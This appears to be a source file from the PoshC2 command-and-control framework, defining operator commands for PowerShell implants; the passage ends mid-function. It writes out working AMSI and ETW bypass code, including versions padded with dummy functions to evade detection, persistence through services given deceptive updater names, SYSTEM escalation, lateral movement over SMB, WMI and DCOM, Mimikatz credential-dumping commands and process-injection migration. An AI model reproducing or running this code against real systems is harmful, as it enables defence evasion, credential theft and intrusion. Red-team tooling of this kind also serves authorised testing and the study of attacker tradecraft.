mirror of
https://github.com/nettitude/PoshC2
synced 2026-06-08 16:22:47 +00:00
1895 lines
64 KiB
Python
1895 lines
64 KiB
Python
import base64
|
|
import os
|
|
import re
|
|
import traceback
|
|
|
|
from prompt_toolkit import PromptSession
|
|
from prompt_toolkit.auto_suggest import AutoSuggestFromHistory
|
|
from prompt_toolkit.history import FileHistory
|
|
from prompt_toolkit.styles import Style
|
|
|
|
from poshc2 import Colours
|
|
from poshc2.Utils import argp, load_file, get_first_url, get_first_domainfront_header, yes_no_prompt, command, \
|
|
get_command_word
|
|
from poshc2.client.Alias import ps_alias, ps_replace
|
|
from poshc2.client.Opsec import ps_opsec
|
|
from poshc2.client.cli.AutosuggestionAggregator import AutosuggestionAggregator
|
|
from poshc2.client.cli.CommandPromptCompleter import FilePathCompleter, FirstWordCompleter
|
|
from poshc2.client.cli.PoshExamplesAutosuggestions import AutoSuggestFromPoshExamples
|
|
from poshc2.client.command_handlers.CommonCommands import common_implant_commands, common_implant_commands_help, \
|
|
common_implant_examples, common_block_help
|
|
from poshc2.server.AutoLoads import check_module_loaded, run_powershell_autoloads
|
|
from poshc2.server.Config import PayloadsDirectory, PoshProjectDirectory, DomainFrontHeader, PayloadCommsHost
|
|
from poshc2.server.Core import print_bad, creds, print_good, search_help, print_command_help, gzipdata
|
|
from poshc2.server.ImplantType import ImplantType
|
|
from poshc2.server.PowerStatus import get_powerstatus
|
|
from poshc2.server.database.Helpers import select_first, insert_object, update_object, get_implant, get_power_status, \
|
|
get_new_implant_url
|
|
from poshc2.server.database.Model import C2Server, NewTask, Implant, URL
|
|
from poshc2.server.payloads.Payloads import Payloads
|
|
|
|
commands = {}
|
|
commands.update(common_implant_commands)
|
|
commands_help = {}
|
|
commands_help.update(common_implant_commands_help)
|
|
examples = []
|
|
examples.extend(common_implant_examples)
|
|
block_help = {}
|
|
block_help.update(common_block_help)
|
|
|
|
style = Style.from_dict({
|
|
'': '#1f48d1',
|
|
})
|
|
|
|
autosuggester = AutoSuggestFromPoshExamples(examples)
|
|
|
|
|
|
def ps_prompt(prefix):
|
|
session = PromptSession(
|
|
history=FileHistory(f'{PoshProjectDirectory}/{ImplantType.PowerShellHttp.get_history_file()}'),
|
|
auto_suggest=AutosuggestionAggregator([AutoSuggestFromHistory(), autosuggester]), style=style)
|
|
completions = list(commands.keys())
|
|
completions.extend(examples)
|
|
return session.prompt(f'{prefix}> ', completer=FirstWordCompleter(completions, WORD=True))
|
|
|
|
|
|
def handle_ps_command(command, user, implant_id):
|
|
try:
|
|
check_module_loaded("Stage2-Core.ps1", implant_id, user)
|
|
except Exception as e:
|
|
print_bad(f"Error loading Stage2-Core.ps1: {e}")
|
|
|
|
command = command.strip()
|
|
|
|
if command.startswith("sharp"):
|
|
check = input(Colours.RED + "\nDid you mean to run this sharp command in a PS implant? y/N ")
|
|
|
|
if check.lower() != "y":
|
|
return
|
|
|
|
for alias in ps_alias:
|
|
if command.startswith(alias[0]):
|
|
command.replace(alias[0], alias[1])
|
|
|
|
for alias in ps_replace:
|
|
if command.startswith(alias[0]):
|
|
command = command.replace(alias[0], alias[1])
|
|
|
|
command = command.strip()
|
|
run_powershell_autoloads(command, implant_id, user)
|
|
|
|
# opsec failures
|
|
for opsec in ps_opsec:
|
|
if opsec == command[:len(opsec)]:
|
|
print_bad("**OPSEC Warning**")
|
|
ri = input("Do you want to continue running - %s? (y/N) " % command)
|
|
|
|
if ri.lower() == "n":
|
|
command = ""
|
|
|
|
if ri == "":
|
|
command = ""
|
|
|
|
break
|
|
|
|
command_word = get_command_word(command)
|
|
|
|
if command_word in commands:
|
|
commands[command_word](user, command, implant_id)
|
|
return
|
|
|
|
if command:
|
|
commands["shell"](user, command, implant_id)
|
|
|
|
|
|
def get_commands():
|
|
return commands.keys()
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_disable_amsi_1(user, command, implant_id):
|
|
"""
|
|
Disables / wipes the amsiContext
|
|
|
|
ref: https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/av-edr-evasion/amsi-bypass
|
|
|
|
Examples:
|
|
disable-amsi-1
|
|
"""
|
|
|
|
command = """
|
|
$a = [Ref].Assembly.GetTypes()
|
|
ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c = $b}}
|
|
$d = $c.GetFields('NonPublic,Static')
|
|
ForEach($e in $d) {if ($e.Name -like "*Context") {$f = $e}}
|
|
$g = $f.GetValue($null)
|
|
[IntPtr]$ptr = $g
|
|
[Int32[]]$buf = @(0)
|
|
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
|
|
"""
|
|
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_disable_amsi_2(user, command, implant_id):
|
|
"""
|
|
Disables / wipes the amsiContext
|
|
|
|
ref: https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/av-edr-evasion/amsi-bypass
|
|
|
|
With support from AI
|
|
|
|
Examples:
|
|
disable-amsi-2
|
|
"""
|
|
|
|
command = """
|
|
# Dummy function to simulate some unrelated logic
|
|
function Test-DummyFunction {
|
|
Write-Output "Starting dummy function..."
|
|
$x = 10
|
|
$y = 20
|
|
$z = $x + $y
|
|
Write-Output "The sum of $x and $y is $z"
|
|
}
|
|
|
|
# Another dummy function
|
|
function Another-DummyFunction {
|
|
Write-Output "Running another dummy function..."
|
|
$a = "Hello"
|
|
$b = "World"
|
|
$c = "$a, $b!"
|
|
Write-Output $c
|
|
}
|
|
|
|
# Main script begins
|
|
Write-Output "Initializing the main script..."
|
|
Test-DummyFunction
|
|
Another-DummyFunction
|
|
|
|
# Reflective assembly analysis
|
|
$a = [Ref].Assembly.GetTypes()
|
|
ForEach($b in $a) {
|
|
if ($b.Name -like "*iUtils") {
|
|
$c = $b
|
|
Write-Output "Found matching type: $($b.Name)"
|
|
}
|
|
}
|
|
|
|
# Retrieve specific fields
|
|
$d = $c.GetFields('NonPublic,Static')
|
|
ForEach($e in $d) {
|
|
if ($e.Name -like "*Context") {
|
|
$f = $e
|
|
Write-Output "Found matching field: $($e.Name)"
|
|
}
|
|
}
|
|
|
|
# Manipulate field value
|
|
$g = $f.GetValue($null)
|
|
[IntPtr]$ptr = $g
|
|
[Int32[]]$buf = @(0)
|
|
Write-Output "Preparing to copy buffer to memory..."
|
|
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
|
|
Write-Output "Buffer copied to memory."
|
|
|
|
# Additional dummy logic
|
|
function Final-DummyFunction {
|
|
Write-Output "Executing final dummy function..."
|
|
$numbers = 1..5
|
|
foreach ($num in $numbers) {
|
|
Write-Output "Number: $num"
|
|
}
|
|
}
|
|
|
|
# Main script ends
|
|
Final-DummyFunction
|
|
Write-Output "Script execution completed."
|
|
"""
|
|
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_disable_etw_1(user, command, implant_id):
|
|
"""
|
|
Disables the PSEtwLogProvider
|
|
|
|
ref: https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/av-edr-evasion/etw-block
|
|
ref: https://gist.github.com/tandasat/e595c77c52e13aaee60e1e8b65d2ba32
|
|
|
|
Examples:
|
|
disable-etw-1
|
|
"""
|
|
|
|
command = """
|
|
[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
|
|
"""
|
|
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_disable_etw_2(user, command, implant_id):
|
|
"""
|
|
Disables the PSEtwLogProvider
|
|
|
|
ref: https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/av-edr-evasion/etw-block
|
|
ref: https://gist.github.com/tandasat/e595c77c52e13aaee60e1e8b65d2ba32
|
|
|
|
With support from AI
|
|
|
|
Examples:
|
|
disable-etw-2
|
|
"""
|
|
|
|
command = """
|
|
# Bloat: Adding unnecessary variables and functions
|
|
function Get-ObfuscationLevel {
|
|
param (
|
|
[int]$level = 1
|
|
)
|
|
return $level * 2
|
|
}
|
|
|
|
$dummyVar1 = "Lorem ipsum dolor sit amet"
|
|
$dummyVar2 = "consectetur adipiscing elit"
|
|
$dummyVar3 = "sed do eiusmod tempor incididunt ut labore et dolore magna aliqua"
|
|
|
|
# Obfuscated and bloated main code
|
|
function Invoke-MainFunction {
|
|
# More bloat: Unnecessary loops and conditions
|
|
for ($i = 0; $i -lt (Get-ObfuscationLevel 3); $i++) {
|
|
if ($i % 2 -eq 0) {
|
|
[void]($dummyVar1 -match $dummyVar2)
|
|
} else {
|
|
[void]($dummyVar3 -match $dummyVar1)
|
|
}
|
|
}
|
|
|
|
# Actual obfuscated code
|
|
$assemblyLoad = 'L' + 'oadWithPartialName'
|
|
$typeGet = 'Get' + 'Type'
|
|
$fieldGet = 'Get' + 'Field'
|
|
$setValue = 'Set' + 'Value'
|
|
$nonPublicInstance = 'Non' + 'Public,' + 'Instance'
|
|
$nonPublicStatic = 'Non' + 'Public,' + 'Static'
|
|
|
|
[Reflection.Assembly]::$assemblyLoad('System.Core').$typeGet('System.Diagnostics.Eventing.EventProvider').$fieldGet('m_enabled', $nonPublicInstance).$setValue(
|
|
[Ref].Assembly.$typeGet('System.Management.Automation.Tracing.PSEtwLogProvider').$fieldGet('etwProvider', $nonPublicStatic).GetValue($null),
|
|
0
|
|
)
|
|
}
|
|
|
|
Invoke-MainFunction
|
|
"""
|
|
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_install_servicelevel_persistence(user, command, implant_id):
|
|
"""
|
|
[Requires Elevation]
|
|
Obtains persistence by installing a bat file payload to be run via cmd.exe as a service.
|
|
|
|
The service is created using sc.exe with the name 'CPUpdater' and Displayname 'CheckpointServiceUpdater'.
|
|
The operator is prompted for what batch file payload to use.
|
|
|
|
Examples:
|
|
install-servicelevel-persistence
|
|
"""
|
|
session = PromptSession(history=FileHistory(f'{PoshProjectDirectory}/.payload-history'),
|
|
auto_suggest=AutoSuggestFromHistory(), style=style)
|
|
|
|
try:
|
|
path = session.prompt("Payload to use: ", completer=FilePathCompleter(PayloadsDirectory, glob="*.bat"))
|
|
path = PayloadsDirectory + path
|
|
except KeyboardInterrupt:
|
|
return
|
|
|
|
if os.path.isfile(path):
|
|
with open(path, "r") as p:
|
|
payload = p.read()
|
|
|
|
cmd = f"sc.exe create CPUpdater binpath= 'cmd /c {payload}' Displayname= CheckpointServiceUpdater start= auto"
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=cmd,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_remove_servicelevel_persistence(user, commmand, implant_id):
|
|
"""
|
|
[Requires Elevation]
|
|
Removes the CPUpdater service created by install-servicelevel-persistence.
|
|
|
|
Uses sc.exe.
|
|
|
|
Examples:
|
|
remove-servicelevel-persistence
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command="sc.exe delete CPUpdater",
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, name="pwd")
|
|
def do_get_implant_working_directory(user, command, implant_id):
|
|
"""
|
|
Gets the current working directory for the implant.
|
|
|
|
Examples:
|
|
pwd
|
|
get-implant-working-directory
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command="pwd",
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, name="pwd")
|
|
def do_download_file(user, command, implant_id):
|
|
"""
|
|
Downloads a file over the C2.
|
|
|
|
Examples:
|
|
download-file c:\\temp\\file.exe
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_get_system(user, command, implant_id):
|
|
"""
|
|
[Requires Elevation]
|
|
Obtains a LOCAL SYSTEM implant.
|
|
|
|
Uses sc.exe to create a service called 'CPUpdaterMisc' which uses cmd.exe to
|
|
launch a specified batch file payload.
|
|
|
|
The operator is prompted for what batch file payload to use.
|
|
|
|
Examples:
|
|
get-system
|
|
"""
|
|
session = PromptSession(history=FileHistory(f'{PoshProjectDirectory}/.payload-history'),
|
|
auto_suggest=AutoSuggestFromHistory(), style=style)
|
|
|
|
try:
|
|
path = session.prompt("Payload to use: ", completer=FilePathCompleter(PayloadsDirectory, glob="*.bat"))
|
|
path = PayloadsDirectory + path
|
|
except KeyboardInterrupt:
|
|
return
|
|
|
|
if os.path.isfile(path):
|
|
with open(path, "r") as p:
|
|
payload = p.read()
|
|
|
|
cmd = f"sc.exe create CPUpdaterMisc binpath= 'cmd /c {payload}' Displayname= CheckpointServiceModule start= auto"
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=cmd,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
cmd = "sc.exe start CPUpdaterMisc"
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=cmd,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
cmd = "sc.exe delete CPUpdaterMisc"
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=cmd,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@creds()
|
|
@command(commands, commands_help, examples, block_help, name="invoke-smbexec")
|
|
def do_invoke_psexec(user, command, implant_id):
|
|
"""
|
|
Uses Invoke-SMBExec to run PSExec-like functionality against the target.
|
|
|
|
https://github.com/Kevin-Robertson/Invoke-TheHash/blob/master/Invoke-SMBExec.ps1
|
|
|
|
Requires privileged access on the target as the user running the command.
|
|
|
|
Aliased as invoke-smbexec and invoke-psexec.
|
|
|
|
Examples:
|
|
invoke-psexec -target 192.168.100.20 -domain testdomain -username test -hash/-pass -command "net user smbexec winter2017 /add"
|
|
"""
|
|
check_module_loaded("Invoke-SMBExec.ps1", implant_id, user)
|
|
params = re.compile("invoke-smbexec |invoke-psexec ", re.IGNORECASE)
|
|
params = params.sub("", command)
|
|
cmd = f"invoke-smbexec {params}"
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=cmd,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@creds()
|
|
@command(commands, commands_help, examples, block_help, name="invoke-smbexecpayload")
|
|
def do_invoke_psexec_payload(user, command, implant_id):
|
|
"""
|
|
Uses Invoke-SMBExec to run PSExec-like functionality against the target,
|
|
prompting for a payload to run.
|
|
|
|
https://github.com/Kevin-Robertson/Invoke-TheHash/blob/master/Invoke-SMBExec.ps1
|
|
|
|
Requires privileged access on the target as the user running the command.
|
|
|
|
The operator is prompted for what batch file payload to use.
|
|
|
|
Aliased as invoke-smbexecpayload and invoke-psexecpayload.
|
|
|
|
Examples:
|
|
invoke-psexec-payload -target <ip> -domain <dom> -user <user> -pass '<pass>' -hash <hash-optional> -credid <credid-optional>
|
|
"""
|
|
check_module_loaded("Invoke-PsExec.ps1", implant_id, user)
|
|
session = PromptSession(history=FileHistory(f'{PoshProjectDirectory}/.payload-history'),
|
|
auto_suggest=AutoSuggestFromHistory(), style=style)
|
|
|
|
try:
|
|
path = session.prompt("Payload to use: ", completer=FilePathCompleter(PayloadsDirectory, glob="*.bat"))
|
|
path = PayloadsDirectory + path
|
|
except KeyboardInterrupt:
|
|
return
|
|
|
|
if os.path.isfile(path):
|
|
with open(path, "r") as p:
|
|
payload = p.read()
|
|
|
|
params = re.compile("invoke-psexec-payload ", re.IGNORECASE)
|
|
params = params.sub("", command)
|
|
cmd = f"invoke-psexec {params} -command \"{payload}\""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=cmd,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
else:
|
|
print_bad(f"Payload not found: {path}")
|
|
return
|
|
|
|
|
|
@creds()
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_invoke_wmiexec(user, command, implant_id):
|
|
"""
|
|
Uses Invoke-WMIExec to execute a command using WMI on a target.
|
|
|
|
https://github.com/Kevin-Robertson/Invoke-TheHash/blob/master/Invoke-WMIExec.ps1
|
|
|
|
Requires privileged access on the target as the user running the command.
|
|
|
|
Examples:
|
|
invoke-wmiexec -target <ip> -domain <dom> -username <user> -password '<pass>' -hash <hash-optional> -command <cmd>
|
|
"""
|
|
check_module_loaded("Invoke-WMIExec.ps1", implant_id, user)
|
|
params = re.compile("invoke-wmiexec ", re.IGNORECASE)
|
|
params = params.sub("", command)
|
|
cmd = f"invoke-wmiexec {params}"
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=cmd,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@creds()
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_invoke_wmi_js_payload(user, command, implant_id):
|
|
"""
|
|
Uses Invoke-WMIExec to execute a DotNet2JS HTTP payload using WMI on a target.
|
|
|
|
https://github.com/Kevin-Robertson/Invoke-TheHash/blob/master/Invoke-WMIExec.ps1
|
|
|
|
Requires privileged access on the target as the user running the command.
|
|
|
|
The operator is prompted for what shellcode file payload to use.
|
|
|
|
Examples:
|
|
invoke-wmi-js-payload -target <ip> -domain <dom> -user <user> -pass '<pass>' -credid <credid-optional>
|
|
"""
|
|
check_module_loaded("New-JScriptShell.ps1", implant_id, user)
|
|
session = PromptSession(history=FileHistory(f'{PoshProjectDirectory}/.payload-history'),
|
|
auto_suggest=AutoSuggestFromHistory(), style=style)
|
|
|
|
try:
|
|
path = session.prompt("Payload to use: ", completer=FilePathCompleter(PayloadsDirectory, glob="*.b64"))
|
|
path = PayloadsDirectory + path
|
|
except KeyboardInterrupt:
|
|
return
|
|
|
|
if os.path.isfile(path):
|
|
with open(path, "r") as p:
|
|
payload = p.read()
|
|
|
|
params = re.compile("invoke-wmi-js-payload ", re.IGNORECASE)
|
|
params = params.sub("", command)
|
|
cmd = f"$Shellcode64=\"{payload}\" #{path}"
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=cmd,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
cmd = f"new-jscriptshell {params} -payload $Shellcode64"
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=cmd,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
else:
|
|
print_bad(f"Payload not found: {path}")
|
|
return
|
|
|
|
|
|
@creds()
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_invoke_wmi_payload(user, command, implant_id):
|
|
"""
|
|
Uses Invoke-WMIExec to execute a payload using WMI on a target.
|
|
|
|
https://github.com/Kevin-Robertson/Invoke-TheHash/blob/master/Invoke-WMIExec.ps1
|
|
|
|
Requires privileged access on the target as the user running the command.
|
|
|
|
The operator is prompted for what batch file payload to use.
|
|
|
|
Examples:
|
|
invoke-wmi-payload -target <ip> -domain <dom> -user <user> -pass '<pass>' -credid <credid-optional>
|
|
"""
|
|
check_module_loaded("Invoke-WMIExec.ps1", implant_id, user)
|
|
session = PromptSession(history=FileHistory(f'{PoshProjectDirectory}/.payload-history'),
|
|
auto_suggest=AutoSuggestFromHistory(), style=style)
|
|
|
|
try:
|
|
path = session.prompt("Payload to use: ", completer=FilePathCompleter(PayloadsDirectory, glob="*.bat"))
|
|
path = PayloadsDirectory + path
|
|
except KeyboardInterrupt:
|
|
return
|
|
|
|
if os.path.isfile(path):
|
|
with open(path, "r") as p:
|
|
payload = p.read()
|
|
|
|
params = re.compile("invoke-wmi-payload ", re.IGNORECASE)
|
|
params = params.sub("", command)
|
|
cmd = f"invoke-wmiexec {params} -command \"{payload}\""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=cmd,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
else:
|
|
print_bad(f"Payload not found: {path}")
|
|
return
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, name="invoke-mimikatz")
|
|
def do_invoke_mimikatz(user, command, implant_id):
|
|
"""
|
|
Uses Invoke-Mimikatz to run mimikatz on the target
|
|
|
|
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1
|
|
|
|
Requires privileged on the target to run the command and will store the output in the DB
|
|
|
|
Examples:
|
|
invoke-mimikatz -command '"sekurlsa::logonpasswords"'
|
|
invoke-mimikatz -command '"privilege::debug" "lsadump::sam"'
|
|
invoke-mimikatz -command '"privilege::debug" "lsadump::lsa"'
|
|
invoke-mimikatz -command '"privilege::debug" "lsadump::cache"'
|
|
invoke-mimikatz -command '"privilege::debug" "lsadump::secrets"'
|
|
invoke-mimikatz -command '"ts::multirdp"'
|
|
invoke-mimikatz -command '"privilege::debug"'
|
|
invoke-mimikatz -command '"crypto::capi"'
|
|
invoke-mimikatz -command '"crypto::certificates /export"'
|
|
invoke-mimikatz -command '"sekurlsa::pth /user:<user> /domain:<dom> /ntlm:<hash> /run:c:\\temp\\run.bat"'
|
|
"""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_invoke_dcom_payload(user, command, implant_id):
|
|
"""
|
|
Uses DCOM to launch a specified payload using a CLSID for MMC20.Application.
|
|
|
|
The operator is prompted for what batch file payload to use.
|
|
|
|
Uses cmd.exe to launch the payload.
|
|
|
|
Examples:
|
|
invoke-dcom-payload -target <ip>
|
|
"""
|
|
session = PromptSession(history=FileHistory(f'{PoshProjectDirectory}/.payload-history'),
|
|
auto_suggest=AutoSuggestFromHistory(), style=style)
|
|
|
|
try:
|
|
path = session.prompt("Payload to use: ", completer=FilePathCompleter(PayloadsDirectory, glob="*.bat"))
|
|
path = PayloadsDirectory + path
|
|
except KeyboardInterrupt:
|
|
return
|
|
|
|
if os.path.isfile(path):
|
|
with open(path, "r") as p:
|
|
payload = p.read()
|
|
|
|
p = re.compile(r'(?<=-target.).*')
|
|
target = re.search(p, command).group()
|
|
cmd = "$c = [activator]::CreateInstance([type]::GetTypeFromProgID(\"MMC20.Application\",\"%s\")); $c.Document.ActiveView.ExecuteShellCommand(\"C:\\Windows\\System32\\cmd.exe\",$null,\"/c %s\",\"7\")" % (
|
|
target, payload)
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=cmd,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
else:
|
|
print_bad(f"Payload not found: {path}")
|
|
return
|
|
|
|
|
|
@creds(accept_hashes=False)
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_invoke_runas(user, command, implant_id):
|
|
"""
|
|
Uses a custom PowerShell equivalent to runas.exe to run a command as the specified user.
|
|
Examples:
|
|
invoke-runas -user <user> -password '<pass>' -domain <dom> -command c:\\windows\\system32\\cmd.exe -args " /c calc.exe"
|
|
"""
|
|
check_module_loaded("Invoke-RunAs.ps1", implant_id, user)
|
|
params = re.compile("invoke-runas ", re.IGNORECASE)
|
|
params = params.sub("", command)
|
|
cmd = f"invoke-runas {params}"
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=cmd,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
|
|
|
|
@creds(accept_hashes=False)
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_invoke_runas_payload(user, command, implant_id):
|
|
"""
|
|
Uses a custom PowerShell equivalent to runas.exe to run a batch payload as the specified user.
|
|
|
|
The operator is prompted for what batch file payload to use.
|
|
|
|
Examples:
|
|
invoke-runas-payload -user <user> -password '<pass>' -domain <dom> -credid <credid-optional>
|
|
"""
|
|
session = PromptSession(history=FileHistory(f'{PoshProjectDirectory}/.payload-history'),
|
|
auto_suggest=AutoSuggestFromHistory(), style=style)
|
|
|
|
try:
|
|
path = session.prompt("Payload to use: ", completer=FilePathCompleter(PayloadsDirectory, glob="*.bat"))
|
|
path = PayloadsDirectory + path
|
|
except KeyboardInterrupt:
|
|
return
|
|
|
|
if os.path.isfile(path):
|
|
with open(path, "r") as p:
|
|
payload = p.read()
|
|
|
|
cmd = f"$proxypayload = \"{payload}\""
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=cmd,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
check_module_loaded("Invoke-RunAs.ps1", implant_id, user)
|
|
params = re.compile("invoke-runas-payload ", re.IGNORECASE)
|
|
params = params.sub("", command)
|
|
cmd = f"invoke-runas {params} -command $proxypayload"
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=cmd,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
else:
|
|
print_bad(f"Payload not found: {path}")
|
|
return
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_get_pid(user, command, implant_id):
|
|
"""
|
|
Get the PID of the current implant.
|
|
|
|
Examples:
|
|
get-pid
|
|
"""
|
|
implant = get_implant(implant_id)
|
|
print(implant.process_id)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_upload_file(user, command, implant_id):
|
|
"""
|
|
Uploads a file to the server.
|
|
|
|
Hides the file by default. Execution without args will prompt with a filepath completer.
|
|
|
|
Examples:
|
|
upload-file
|
|
upload-file -source /tmp/test.exe -destination 'c:\\temp\\test.exe' -nothidden
|
|
"""
|
|
if command == "upload-file":
|
|
session = PromptSession(history=FileHistory(f'{PoshProjectDirectory}/.upload-history'),
|
|
auto_suggest=AutoSuggestFromHistory(), style=style)
|
|
|
|
try:
|
|
source = session.prompt("Location file to upload: ",
|
|
completer=FilePathCompleter(PayloadsDirectory, glob="*"))
|
|
source = PayloadsDirectory + source
|
|
except KeyboardInterrupt:
|
|
return
|
|
|
|
while not os.path.isfile(source):
|
|
print_bad(f"File does not exist: {source}")
|
|
source = session.prompt("Location file to upload: ",
|
|
completer=FilePathCompleter(PayloadsDirectory, glob="*"))
|
|
source = PayloadsDirectory + source
|
|
|
|
destination = session.prompt("Location to upload to: ")
|
|
nothidden = yes_no_prompt("Do not hide the file:")
|
|
else:
|
|
args = argp(command)
|
|
source = args.source
|
|
destination = args.destination
|
|
nothidden = args.nothidden
|
|
|
|
try:
|
|
print(f"Uploading {source} to {destination}")
|
|
|
|
if nothidden:
|
|
upload_command = f"upload-file {source} {destination} -NotHidden ${nothidden}"
|
|
else:
|
|
upload_command = f"upload-file {source} {destination}"
|
|
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=upload_command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
except Exception as e:
|
|
print_bad(f"Error with source file: {e}")
|
|
traceback.print_exc()
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help, name="exit")
|
|
def do_kill_implant(user, command, implant_id):
|
|
"""
|
|
Terminates this implant while leaving the process running and hides it from the ImplantHandler list.
|
|
|
|
Examples:
|
|
kill-implant
|
|
"""
|
|
implant = get_implant(implant_id)
|
|
print_bad(
|
|
"**OPSEC Warning** - kill-implant terminates the current thread not the entire process, if you want to kill the process use kill-process")
|
|
ri = input(f"Are you sure you want to remove the implant ID {implant.numeric_id}? (Y/n) ")
|
|
|
|
if ri == "" or ri.lower() == "y":
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command="exit",
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|
|
update_object(Implant, {Implant.alive: "No"}, {Implant.id: implant_id})
|
|
else:
|
|
print("Implant not removed")
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_migrate(user, command, implant_id):
|
|
"""
|
|
Migrates into a new process by injecting shellcode into that process.
|
|
|
|
Can either migrate into an already running process by specifying a PID or
|
|
create a new process and inject into it, with an optional parent PID to spoof.
|
|
|
|
New processes can be created suspended to prevent execution if desired.
|
|
|
|
RtlCreateUserThread can optionally be used to create the remote thread instead of CreateRemoteThread.
|
|
|
|
Examples:
|
|
migrate
|
|
migrate -procid 4444
|
|
migrate -procpath c:\\windows\\system32\\netsh.exe -suspended -RtlCreateUserThread
|
|
migrate -procpath c:\\windows\\system32\\svchost.exe -suspended
|
|
"""
|
|
params = re.compile("migrate", re.IGNORECASE)
|
|
